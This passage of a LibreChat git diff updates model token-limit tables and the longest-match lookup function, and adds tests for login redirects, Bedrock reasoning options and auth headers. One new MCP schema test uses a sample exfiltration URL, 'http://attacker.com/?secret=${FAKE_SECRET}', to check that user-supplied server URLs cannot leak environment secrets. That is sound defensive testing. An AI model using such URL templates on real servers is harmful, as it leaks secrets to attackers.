-  'kimi-k2-thinking-turbo': 262144,
-  // moonshot-v1 series (specific patterns)
   'moonshot-v1': 131072,
   'moonshot-v1-auto': 131072,
   'moonshot-v1-8k': 8192,
@@ -192,99 +165,100 @@ const moonshotModels = {
   'moonshot-v1-128k': 131072,
   'moonshot-v1-128k-vision': 131072,
   'moonshot-v1-128k-vision-preview': 131072,
+  // kimi series
+  kimi: 262144,
+  'kimi-latest': 128000,
+  'kimi-k2-0711': 131072,
+  'kimi-k2-0711-preview': 131072,
+  'kimi-k2-0905': 262144,
+  'kimi-k2-0905-preview': 262144,
+  'kimi-k2': 262144,
+  'kimi-k2-turbo': 262144,
+  'kimi-k2-turbo-preview': 262144,
+  'kimi-k2-thinking': 262144,
+  'kimi-k2-thinking-turbo': 262144,
+  'kimi-k2.5': 262144,
   // Bedrock moonshot models
+  'moonshot.kimi-k2-0711': 131072,
   'moonshot.kimi': 262144,
   'moonshot.kimi-k2': 262144,
-  'moonshot.kimi-k2.5': 262144,
   'moonshot.kimi-k2-thinking': 262144,
-  'moonshot.kimi-k2-0711': 131072,
   'moonshotai.kimi': 262144,
+  'moonshot.kimi-k2.5': 262144,
   'moonshotai.kimi-k2.5': 262144,
 };
 
 const metaModels = {
-  // Basic patterns
-  llama3: 8000,
+  // Llama 2 (oldest)
   llama2: 4000,
-  'llama-3': 8000,
   'llama-2': 4000,
-
-  // llama3.x pattern
+  'llama2-13b': 4000,
+  'llama2-70b': 4000,
+  'llama2:70b': 4000,
+  // Llama 3 base
+  llama3: 8000,
+  'llama-3': 8000,
+  'llama3-8b': 8000,
+  'llama3-70b': 8000,
+  'llama3:8b': 8000,
+  'llama3:70b': 8000,
+  // Llama 3.1
   'llama3.1': 127500,
-  'llama3.2': 127500,
-  'llama3.3': 127500,
-
-  // llama3-x pattern
   'llama3-1': 127500,
-  'llama3-2': 127500,
-  'llama3-3': 127500,
-
-  // llama-3.x pattern
   'llama-3.1': 127500,
-  'llama-3.2': 127500,
-  'llama-3.3': 127500,
-
-  // llama3.x:Nb pattern
-  'llama3.1:405b': 127500,
-  'llama3.1:70b': 127500,
   'llama3.1:8b': 127500,
+  'llama3.1:70b': 127500,
+  'llama3.1:405b': 127500,
+  'llama3-1-8b': 127500,
+  'llama3-1-70b': 127500,
+  'llama3-1-405b': 127500,
+  'llama-3.1-8b': 127500,
+  'llama-3.1-70b': 127500,
+  'llama-3.1-405b': 127500,
+  // Llama 3.2
+  'llama3.2': 127500,
+  'llama3-2': 127500,
+  'llama-3.2': 127500,
   'llama3.2:1b': 127500,
   'llama3.2:3b': 127500,
   'llama3.2:11b': 127500,
   'llama3.2:90b': 127500,
-  'llama3.3:70b': 127500,
-
-  // llama3-x-Nb pattern
-  'llama3-1-405b': 127500,
-  'llama3-1-70b': 127500,
-  'llama3-1-8b': 127500,
   'llama3-2-1b': 127500,
   'llama3-2-3b': 127500,
   'llama3-2-11b': 127500,
   'llama3-2-90b': 127500,
-  'llama3-3-70b': 127500,
-
-  // llama-3.x-Nb pattern
-  'llama-3.1-405b': 127500,
-  'llama-3.1-70b': 127500,
-  'llama-3.1-8b': 127500,
   'llama-3.2-1b': 127500,
   'llama-3.2-3b': 127500,
   'llama-3.2-11b': 127500,
   'llama-3.2-90b': 127500,
+  // Llama 3.3 (newest)
+  'llama3.3': 127500,
+  'llama3-3': 127500,
+  'llama-3.3': 127500,
+  'llama3.3:70b': 127500,
+  'llama3-3-70b': 127500,
   'llama-3.3-70b': 127500,
-
-  // Original llama2/3 patterns
-  'llama3-70b': 8000,
-  'llama3-8b': 8000,
-  'llama2-70b': 4000,
-  'llama2-13b': 4000,
-  'llama3:70b': 8000,
-  'llama3:8b': 8000,
-  'llama2:70b': 4000,
 };
 
 const qwenModels = {
   qwen: 32000,
   'qwen2.5': 32000,
-  'qwen-turbo': 1000000,
-  'qwen-plus': 131000,
   'qwen-max': 32000,
+  'qwen-plus': 131000,
+  'qwen-turbo': 1000000,
   'qwq-32b': 32000,
-  // Qwen3 models
-  qwen3: 40960, // Qwen3 base pattern (using qwen3-4b context)
-  'qwen3-8b': 128000,
+  // Qwen3 models (newest)
+  qwen3: 40960,
   'qwen3-14b': 40960,
   'qwen3-30b-a3b': 40960,
   'qwen3-32b': 40960,
   'qwen3-235b-a22b': 40960,
-  // Qwen3 VL (Vision-Language) models
+  'qwen3-8b': 128000,
+  'qwen3-vl-235b-a22b': 131072,
   'qwen3-vl-8b-thinking': 256000,
+  'qwen3-max': 256000,
   'qwen3-vl-8b-instruct': 262144,
   'qwen3-vl-30b-a3b': 262144,
-  'qwen3-vl-235b-a22b': 131072,
-  // Qwen3 specialized models
-  'qwen3-max': 256000,
   'qwen3-coder': 262144,
   'qwen3-coder-30b-a3b': 262144,
   'qwen3-coder-plus': 128000,
@@ -317,7 +291,6 @@ const openAIBedrockModels = {
 };
 
 const bedrockModels = {
-  ...anthropicModels,
   ...mistralModels,
   ...cohereModels,
   ...deepseekModels,
@@ -326,6 +299,7 @@ const bedrockModels = {
   ...ai21Models,
   ...amazonModels,
   ...openAIBedrockModels,
+  ...anthropicModels,
 };
 
 const xAIModels = {
@@ -342,24 +316,13 @@ const xAIModels = {
   'grok-3-fast': 131072,
   'grok-3-mini': 131072,
   'grok-3-mini-fast': 131072,
+  'grok-code-fast': 256000, // 256K context
   'grok-4': 256000, // 256K context
   'grok-4-fast': 2000000, // 2M context
   'grok-4-1-fast': 2000000, // 2M context (covers reasoning & non-reasoning variants)
-  'grok-code-fast': 256000, // 256K context
 };
 
 const aggregateModels = {
-  ...openAIModels,
-  ...googleModels,
-  ...bedrockModels,
-  ...xAIModels,
-  ...qwenModels,
-  // GPT-OSS
-  'gpt-oss': 131000,
-  'gpt-oss:20b': 131000,
-  'gpt-oss-20b': 131000,
-  'gpt-oss:120b': 131000,
-  'gpt-oss-120b': 131000,
   // GLM models (Zhipu AI)
   glm4: 128000,
   'glm-4': 128000,
@@ -368,6 +331,18 @@ const aggregateModels = {
   'glm-4.5-air': 131000,
   'glm-4.5v': 66000,
   'glm-4.6': 200000,
+  // GPT-OSS
+  'gpt-oss': 131000,
+  'gpt-oss:20b': 131000,
+  'gpt-oss-20b': 131000,
+  'gpt-oss:120b': 131000,
+  'gpt-oss-120b': 131000,
+  ...qwenModels,
+  ...xAIModels,
+  ...googleModels,
+  ...bedrockModels,
+  // OpenAI last — reverse iteration checks last-spread keys first for same-length ties
+  ...openAIModels,
 };
 
 export const maxTokensMap = {
@@ -387,9 +362,13 @@ export const modelMaxOutputs = {
   'gpt-5': 128000,
   'gpt-5.1': 128000,
   'gpt-5.2': 128000,
+  'gpt-5.3': 128000,
+  'gpt-5.4': 128000,
+  'gpt-5.4-pro': 128000,
   'gpt-5-mini': 128000,
   'gpt-5-nano': 128000,
   'gpt-5-pro': 128000,
+  'gpt-5.2-pro': 128000,
   'gpt-oss-20b': 131000,
   'gpt-oss-120b': 131000,
   system_default: 32000,
@@ -429,26 +408,28 @@ export const maxOutputTokensMap = {
   [EModelEndpoint.custom]: { ...modelMaxOutputs, ...deepseekMaxOutputs },
 };
 
-/**
- * Finds the first matching pattern in the tokens map.
- * @param {string} modelName
- * @param {Record<string, number> | EndpointTokenConfig} tokensMap
- * @returns {string|null}
- */
+/** Finds the longest matching key in the tokens map via substring match. */
 export function findMatchingPattern(
   modelName: string,
   tokensMap: Record<string, number> | EndpointTokenConfig,
 ): string | null {
   const keys = Object.keys(tokensMap);
   const lowerModelName = modelName.toLowerCase();
+  let bestMatch: string | null = null;
+  let bestLength = 0;
   for (let i = keys.length - 1; i >= 0; i--) {
-    const modelKey = keys[i];
-    if (lowerModelName.includes(modelKey)) {
-      return modelKey;
+    const key = keys[i];
+    const lowerKey = key.toLowerCase();
+    if (lowerKey.length > bestLength && lowerModelName.includes(lowerKey)) {
+      if (lowerKey.length === lowerModelName.length) {
+        return key;
+      }
+      bestMatch = key;
+      bestLength = lowerKey.length;
     }
   }
 
-  return null;
+  return bestMatch;
 }
 
 /**
@@ -612,42 +593,3 @@ export function processModelData(input: z.infer<typeof inputSchema>): EndpointTo
 
   return tokenConfig;
 }
-
-export const tiktokenModels = new Set([
-  'text-davinci-003',
-  'text-davinci-002',
-  'text-davinci-001',
-  'text-curie-001',
-  'text-babbage-001',
-  'text-ada-001',
-  'davinci',
-  'curie',
-  'babbage',
-  'ada',
-  'code-davinci-002',
-  'code-davinci-001',
-  'code-cushman-002',
-  'code-cushman-001',
-  'davinci-codex',
-  'cushman-codex',
-  'text-davinci-edit-001',
-  'code-davinci-edit-001',
-  'text-embedding-ada-002',
-  'text-similarity-davinci-001',
-  'text-similarity-curie-001',
-  'text-similarity-babbage-001',
-  'text-similarity-ada-001',
-  'text-search-davinci-doc-001',
-  'text-search-curie-doc-001',
-  'text-search-babbage-doc-001',
-  'text-search-ada-doc-001',
-  'code-search-babbage-code-001',
-  'code-search-ada-code-001',
-  'gpt2',
-  'gpt-4',
-  'gpt-4-0314',
-  'gpt-4-32k',
-  'gpt-4-32k-0314',
-  'gpt-3.5-turbo',
-  'gpt-3.5-turbo-0301',
-]);
diff --git a/packages/api/src/utils/tracing.ts b/packages/api/src/utils/tracing.ts
new file mode 100644
index 0000000000..6a82caf092
--- /dev/null
+++ b/packages/api/src/utils/tracing.ts
@@ -0,0 +1,31 @@
+import { logger } from '@librechat/data-schemas';
+import { AsyncLocalStorage } from 'node:async_hooks';
+import { isEnabled } from '~/utils/common';
+
+/** @see https://github.com/langchain-ai/langchainjs — @langchain/core RunTree ALS */
+const TRACING_ALS_KEY = Symbol.for('ls:tracing_async_local_storage');
+
+let warnedMissing = false;
+
+/**
+ * Runs `fn` outside the LangGraph/LangSmith tracing AsyncLocalStorage context
+ * so I/O handles (child processes, sockets, timers) created during `fn`
+ * do not permanently retain the RunTree → graph config → message data chain.
+ *
+ * Relies on the private symbol `ls:tracing_async_local_storage` from `@langchain/core`.
+ * If the symbol is absent, falls back to calling `fn()` directly.
+ */
+export function runOutsideTracing<T>(fn: () => T): T {
+  const storage = (globalThis as typeof globalThis & Record<symbol, AsyncLocalStorage<unknown>>)[
+    TRACING_ALS_KEY
+  ];
+  if (!storage && !warnedMissing && isEnabled(process.env.LANGCHAIN_TRACING_V2)) {
+    warnedMissing = true;
+    logger.warn(
+      '[runOutsideTracing] LANGCHAIN_TRACING_V2 is set but ALS not found — ' +
+        'runOutsideTracing will be a no-op. ' +
+        'Verify @langchain/core version still uses Symbol.for("ls:tracing_async_local_storage").',
+    );
+  }
+  return storage ? storage.run(undefined as unknown, fn) : fn();
+}
diff --git a/packages/client/jest.config.js b/packages/client/jest.config.js
index bb8a22dcc9..23822aa097 100644
--- a/packages/client/jest.config.js
+++ b/packages/client/jest.config.js
@@ -16,6 +16,7 @@ export default {
   //     lines: 57,
   //   },
   // },
+  maxWorkers: '50%',
   restoreMocks: true,
   testTimeout: 15000,
   // React component testing requires jsdom environment
diff --git a/packages/client/package.json b/packages/client/package.json
index 118186c9a9..13d1a4a8cc 100644
--- a/packages/client/package.json
+++ b/packages/client/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@librechat/client",
-  "version": "0.4.52",
+  "version": "0.4.54",
   "description": "React components for LibreChat",
   "repository": {
     "type": "git",
@@ -104,8 +104,8 @@
     "react": "^18.2.0",
     "react-dom": "^18.2.0",
     "react-i18next": "^15.4.0",
-    "rimraf": "^6.1.2",
-    "rollup": "^4.0.0",
+    "rimraf": "^6.1.3",
+    "rollup": "^4.34.9",
     "rollup-plugin-peer-deps-external": "^2.2.4",
     "rollup-plugin-postcss": "^4.0.2",
     "rollup-plugin-typescript2": "^0.35.0",
diff --git a/packages/data-provider/jest.config.js b/packages/data-provider/jest.config.js
index 6b8c4abe79..70340d36fc 100644
--- a/packages/data-provider/jest.config.js
+++ b/packages/data-provider/jest.config.js
@@ -14,5 +14,6 @@ module.exports = {
   //     lines: 57,
   //   },
   // },
+  maxWorkers: '50%',
   restoreMocks: true,
 };
diff --git a/packages/data-provider/package.json b/packages/data-provider/package.json
index 5d6c6b8e46..a707aef448 100644
--- a/packages/data-provider/package.json
+++ b/packages/data-provider/package.json
@@ -1,6 +1,6 @@
 {
   "name": "librechat-data-provider",
-  "version": "0.8.300",
+  "version": "0.8.302",
   "description": "data services for librechat apps",
   "main": "dist/index.js",
   "module": "dist/index.es.js",
@@ -62,8 +62,8 @@
     "jest": "^30.2.0",
     "jest-junit": "^16.0.0",
     "openapi-types": "^12.1.3",
-    "rimraf": "^6.1.2",
-    "rollup": "^4.22.4",
+    "rimraf": "^6.1.3",
+    "rollup": "^4.34.9",
     "rollup-plugin-peer-deps-external": "^2.2.4",
     "rollup-plugin-typescript2": "^0.35.0",
     "typescript": "^5.0.4"
diff --git a/packages/data-provider/specs/api-endpoints-subdir.spec.ts b/packages/data-provider/specs/api-endpoints-subdir.spec.ts
new file mode 100644
index 0000000000..172f9d6618
--- /dev/null
+++ b/packages/data-provider/specs/api-endpoints-subdir.spec.ts
@@ -0,0 +1,140 @@
+/**
+ * @jest-environment jsdom
+ */
+
+/**
+ * Tests for buildLoginRedirectUrl and apiBaseUrl under subdirectory deployments.
+ *
+ * Uses jest.isolateModules to re-import api-endpoints with a <base href="/chat/">
+ * element present, simulating a subdirectory deployment where BASE_URL = '/chat'.
+ *
+ * Tests that need to override window.location use explicit function arguments
+ * instead of mocking the global, since jsdom 26+ does not allow redefining it.
+ */
+
+function loadModuleWithBase(baseHref: string) {
+  const base = document.createElement('base');
+  base.setAttribute('href', baseHref);
+  document.head.appendChild(base);
+
+  const proc = process as typeof process & { browser?: boolean };
+  const originalBrowser = proc.browser;
+
+  let mod: typeof import('../src/api-endpoints');
+  try {
+    proc.browser = true;
+    jest.isolateModules(() => {
+      // eslint-disable-next-line @typescript-eslint/no-require-imports -- static import not usable inside isolateModules
+      mod = require('../src/api-endpoints');
+    });
+    return mod!;
+  } finally {
+    proc.browser = originalBrowser;
+    document.head.removeChild(base);
+  }
+}
+
+describe('buildLoginRedirectUrl — subdirectory deployment (BASE_URL = /chat)', () => {
+  let buildLoginRedirectUrl: typeof import('../src/api-endpoints').buildLoginRedirectUrl;
+  let apiBaseUrl: typeof import('../src/api-endpoints').apiBaseUrl;
+
+  beforeAll(() => {
+    const mod = loadModuleWithBase('/chat/');
+    buildLoginRedirectUrl = mod.buildLoginRedirectUrl;
+    apiBaseUrl = mod.apiBaseUrl;
+  });
+
+  it('sets BASE_URL to "/chat" (trailing slash stripped)', () => {
+    expect(apiBaseUrl()).toBe('/chat');
+  });
+
+  it('returns "/login" without base prefix (compatible with React Router navigate)', () => {
+    const result = buildLoginRedirectUrl('/chat/c/new', '', '');
+    expect(result).toMatch(/^\/login/);
+    expect(result).not.toMatch(/^\/chat/);
+  });
+
+  it('strips base prefix from redirect_to when pathname includes base', () => {
+    const result = buildLoginRedirectUrl('/chat/c/abc123', '?model=gpt-4', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/c/abc123?model=gpt-4');
+    expect(redirectTo).not.toContain('/chat/');
+  });
+
+  it('works with pathnames that do not include the base prefix', () => {
+    const result = buildLoginRedirectUrl('/c/new', '', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/c/new');
+  });
+
+  it('returns plain /login for base-prefixed login path', () => {
+    expect(buildLoginRedirectUrl('/chat/login', '', '')).toBe('/login');
+  });
+
+  it('returns plain /login for base-prefixed login sub-path', () => {
+    expect(buildLoginRedirectUrl('/chat/login/2fa', '', '')).toBe('/login');
+  });
+
+  it('returns plain /login when stripped path is root (no pointless redirect_to=/)', () => {
+    const result = buildLoginRedirectUrl('/chat', '', '');
+    expect(result).toBe('/login');
+    expect(result).not.toContain('redirect_to');
+  });
+
+  it('composes correct full URL for window.location.href (apiBaseUrl + buildLoginRedirectUrl)', () => {
+    const fullUrl = apiBaseUrl() + buildLoginRedirectUrl('/chat/c/abc123', '', '');
+    expect(fullUrl).toBe('/chat/login?redirect_to=%2Fc%2Fabc123');
+    expect(fullUrl).not.toContain('/chat/chat/');
+  });
+
+  it('encodes query params and hash correctly after stripping base', () => {
+    const result = buildLoginRedirectUrl('/chat/c/deep', '?q=hello&submit=true', '#section');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/c/deep?q=hello&submit=true#section');
+  });
+
+  it('does not strip base when path shares a prefix but is not a segment match', () => {
+    const result = buildLoginRedirectUrl('/chatroom/c/abc123', '', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/chatroom/c/abc123');
+  });
+
+  it('does not strip base from /chatbot path', () => {
+    const result = buildLoginRedirectUrl('/chatbot', '', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/chatbot');
+  });
+});
+
+describe('buildLoginRedirectUrl — deep subdirectory (BASE_URL = /app/chat)', () => {
+  let buildLoginRedirectUrl: typeof import('../src/api-endpoints').buildLoginRedirectUrl;
+  let apiBaseUrl: typeof import('../src/api-endpoints').apiBaseUrl;
+
+  beforeAll(() => {
+    const mod = loadModuleWithBase('/app/chat/');
+    buildLoginRedirectUrl = mod.buildLoginRedirectUrl;
+    apiBaseUrl = mod.apiBaseUrl;
+  });
+
+  it('sets BASE_URL to "/app/chat"', () => {
+    expect(apiBaseUrl()).toBe('/app/chat');
+  });
+
+  it('strips deep base prefix from redirect_to', () => {
+    const result = buildLoginRedirectUrl('/app/chat/c/abc123', '', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/c/abc123');
+  });
+
+  it('full URL does not double the base prefix', () => {
+    const fullUrl = apiBaseUrl() + buildLoginRedirectUrl('/app/chat/c/abc123', '', '');
+    expect(fullUrl).toBe('/app/chat/login?redirect_to=%2Fc%2Fabc123');
+    expect(fullUrl).not.toContain('/app/chat/app/chat/');
+  });
+
+  it('does not strip from /app/chatroom (segment boundary check)', () => {
+    const result = buildLoginRedirectUrl('/app/chatroom/page', '', '');
+    const redirectTo = decodeURIComponent(result.split('redirect_to=')[1]);
+    expect(redirectTo).toBe('/app/chatroom/page');
+  });
+});
diff --git a/packages/data-provider/specs/api-endpoints.spec.ts b/packages/data-provider/specs/api-endpoints.spec.ts
new file mode 100644
index 0000000000..b582bb1ef0
--- /dev/null
+++ b/packages/data-provider/specs/api-endpoints.spec.ts
@@ -0,0 +1,74 @@
+/**
+ * @jest-environment jsdom
+ */
+import { buildLoginRedirectUrl } from '../src/api-endpoints';
+
+describe('buildLoginRedirectUrl', () => {
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
+  });
+
+  it('builds a login URL from explicit args', () => {
+    const result = buildLoginRedirectUrl('/c/new', '?q=hello', '');
+    expect(result).toBe('/login?redirect_to=%2Fc%2Fnew%3Fq%3Dhello');
+  });
+
+  it('encodes complex paths with query and hash', () => {
+    const result = buildLoginRedirectUrl('/c/new', '?q=hello&submit=true', '#section');
+    expect(result).toContain('redirect_to=');
+    const encoded = result.split('redirect_to=')[1];
+    expect(decodeURIComponent(encoded)).toBe('/c/new?q=hello&submit=true#section');
+  });
+
+  it('falls back to window.location when no args provided', () => {
+    window.history.replaceState({}, '', '/c/abc123?model=gpt-4#msg-5');
+    const result = buildLoginRedirectUrl();
+    const encoded = result.split('redirect_to=')[1];
+    expect(decodeURIComponent(encoded)).toBe('/c/abc123?model=gpt-4#msg-5');
+  });
+
+  it('returns plain /login when all location parts are empty (root)', () => {
+    window.history.replaceState({}, '', '/');
+    const result = buildLoginRedirectUrl();
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login when pathname is /login (prevents recursive redirect)', () => {
+    const result = buildLoginRedirectUrl('/login', '?redirect_to=%2Fc%2Fnew', '');
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login when window.location is already /login', () => {
+    window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc');
+    const result = buildLoginRedirectUrl();
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login for /login sub-paths', () => {
+    const result = buildLoginRedirectUrl('/login/2fa', '', '');
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login for basename-prefixed /login (e.g. /librechat/login)', () => {
+    window.history.replaceState({}, '', '/librechat/login?redirect_to=%2Fc%2Fabc');
+    const result = buildLoginRedirectUrl();
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login for basename-prefixed /login sub-paths', () => {
+    const result = buildLoginRedirectUrl('/librechat/login/2fa', '', '');
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login for root path (no pointless redirect_to=/)', () => {
+    const result = buildLoginRedirectUrl('/', '', '');
+    expect(result).toBe('/login');
+    expect(result).not.toContain('redirect_to');
+  });
+
+  it('does NOT match paths where "login" is a substring of a segment', () => {
+    const result = buildLoginRedirectUrl('/c/loginhistory', '', '');
+    expect(result).toContain('redirect_to=');
+    expect(decodeURIComponent(result.split('redirect_to=')[1])).toBe('/c/loginhistory');
+  });
+});
diff --git a/packages/data-provider/specs/bedrock.spec.ts b/packages/data-provider/specs/bedrock.spec.ts
index 55bd0a2e08..1398b17b25 100644
--- a/packages/data-provider/specs/bedrock.spec.ts
+++ b/packages/data-provider/specs/bedrock.spec.ts
@@ -688,5 +688,175 @@ describe('bedrockInputParser', () => {
       expect(amrf.anthropic_beta).toBeDefined();
       expect(Array.isArray(amrf.anthropic_beta)).toBe(true);
     });
+
+    test('should strip stale reasoning_config when switching to Anthropic model', () => {
+      const staleConversationData = {
+        model: 'anthropic.claude-sonnet-4-6',
+        additionalModelRequestFields: {
+          reasoning_config: 'high',
+        },
+      };
+      const result = bedrockInputParser.parse(staleConversationData) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBeUndefined();
+    });
+
+    test('should strip stale reasoning_config when switching from Moonshot to Meta model', () => {
+      const staleData = {
+        model: 'meta.llama-3-1-70b',
+        additionalModelRequestFields: {
+          reasoning_config: 'high',
+        },
+      };
+      const result = bedrockInputParser.parse(staleData) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should strip stale reasoning_config when switching from ZAI to DeepSeek model', () => {
+      const staleData = {
+        model: 'deepseek.deepseek-r1',
+        additionalModelRequestFields: {
+          reasoning_config: 'medium',
+        },
+      };
+      const result = bedrockInputParser.parse(staleData) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+  });
+
+  describe('Bedrock reasoning_effort → reasoning_config for Moonshot/ZAI models', () => {
+    test('should map reasoning_effort to reasoning_config for moonshotai.kimi-k2.5', () => {
+      const input = {
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'high',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBe('high');
+      expect(amrf.reasoning_effort).toBeUndefined();
+    });
+
+    test('should map reasoning_effort to reasoning_config for moonshot.kimi-k2.5', () => {
+      const input = {
+        model: 'moonshot.kimi-k2.5',
+        reasoning_effort: 'medium',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBe('medium');
+    });
+
+    test('should map reasoning_effort to reasoning_config for zai.glm-4.7', () => {
+      const input = {
+        model: 'zai.glm-4.7',
+        reasoning_effort: 'high',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBe('high');
+    });
+
+    test('should map reasoning_effort "low" to reasoning_config for Moonshot model', () => {
+      const input = {
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'low',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBe('low');
+    });
+
+    test('should not include reasoning_config when reasoning_effort is unset (empty string)', () => {
+      const input = {
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: '',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should not include reasoning_config when reasoning_effort is not provided', () => {
+      const input = {
+        model: 'moonshotai.kimi-k2.5',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should not forward reasoning_effort "none" to reasoning_config', () => {
+      const result = bedrockInputParser.parse({
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'none',
+      }) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should not forward reasoning_effort "minimal" to reasoning_config', () => {
+      const result = bedrockInputParser.parse({
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'minimal',
+      }) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should not forward reasoning_effort "xhigh" to reasoning_config', () => {
+      const result = bedrockInputParser.parse({
+        model: 'zai.glm-4.7',
+        reasoning_effort: 'xhigh',
+      }) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;
+      expect(amrf?.reasoning_config).toBeUndefined();
+    });
+
+    test('should not add reasoning_config to Anthropic models', () => {
+      const input = {
+        model: 'anthropic.claude-sonnet-4-6',
+        reasoning_effort: 'high',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBeUndefined();
+      expect(amrf.reasoning_effort).toBeUndefined();
+    });
+
+    test('should not add thinking or anthropic_beta to Moonshot models with reasoning_effort', () => {
+      const input = {
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'high',
+      };
+      const result = bedrockInputParser.parse(input) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.thinking).toBeUndefined();
+      expect(amrf.thinkingBudget).toBeUndefined();
+      expect(amrf.anthropic_beta).toBeUndefined();
+    });
+
+    test('should pass reasoning_config through bedrockOutputParser', () => {
+      const parsed = bedrockInputParser.parse({
+        model: 'moonshotai.kimi-k2.5',
+        reasoning_effort: 'high',
+      }) as Record<string, unknown>;
+      const output = bedrockOutputParser(parsed);
+      const amrf = output.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBe('high');
+    });
+
+    test('should strip stale reasoning_config from additionalModelRequestFields for Anthropic models', () => {
+      const staleData = {
+        model: 'anthropic.claude-opus-4-6-v1',
+        additionalModelRequestFields: {
+          reasoning_config: 'high',
+        },
+      };
+      const result = bedrockInputParser.parse(staleData) as Record<string, unknown>;
+      const amrf = result.additionalModelRequestFields as Record<string, unknown>;
+      expect(amrf.reasoning_config).toBeUndefined();
+    });
   });
 });
diff --git a/packages/data-provider/specs/headers-helpers.spec.ts b/packages/data-provider/specs/headers-helpers.spec.ts
new file mode 100644
index 0000000000..4df7a2f934
--- /dev/null
+++ b/packages/data-provider/specs/headers-helpers.spec.ts
@@ -0,0 +1,24 @@
+import axios from 'axios';
+import { setTokenHeader } from '../src/headers-helpers';
+
+describe('setTokenHeader', () => {
+  afterEach(() => {
+    delete axios.defaults.headers.common['Authorization'];
+  });
+
+  it('sets the Authorization header with a Bearer token', () => {
+    setTokenHeader('my-token');
+    expect(axios.defaults.headers.common['Authorization']).toBe('Bearer my-token');
+  });
+
+  it('deletes the Authorization header when called with undefined', () => {
+    axios.defaults.headers.common['Authorization'] = 'Bearer old-token';
+    setTokenHeader(undefined);
+    expect(axios.defaults.headers.common['Authorization']).toBeUndefined();
+  });
+
+  it('is a no-op when clearing an already absent header', () => {
+    setTokenHeader(undefined);
+    expect(axios.defaults.headers.common['Authorization']).toBeUndefined();
+  });
+});
diff --git a/packages/data-provider/specs/mcp.spec.ts b/packages/data-provider/specs/mcp.spec.ts
new file mode 100644
index 0000000000..573769c4fa
--- /dev/null
+++ b/packages/data-provider/specs/mcp.spec.ts
@@ -0,0 +1,147 @@
+import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
+
+describe('MCPServerUserInputSchema', () => {
+  describe('env variable exfiltration prevention', () => {
+    it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
+      process.env.FAKE_SECRET = 'leaked-secret-value';
+      const adminResult = SSEOptionsSchema.safeParse({
+        type: 'sse',
+        url: 'http://attacker.com/?secret=${FAKE_SECRET}',
+      });
+      expect(adminResult.success).toBe(true);
+      if (adminResult.success) {
+        expect(adminResult.data.url).toContain('leaked-secret-value');
+      }
+      delete process.env.FAKE_SECRET;
+    });
+
+    it('should reject the same URL through user input schema', () => {
+      process.env.FAKE_SECRET = 'leaked-secret-value';
+      const userResult = MCPServerUserInputSchema.safeParse({
+        type: 'sse',
+        url: 'http://attacker.com/?secret=${FAKE_SECRET}',
+      });
+      expect(userResult.success).toBe(false);
+      delete process.env.FAKE_SECRET;
+    });
+  });
+
+  describe('env variable rejection', () => {
+    it('should reject SSE URLs containing env variable patterns', () => {
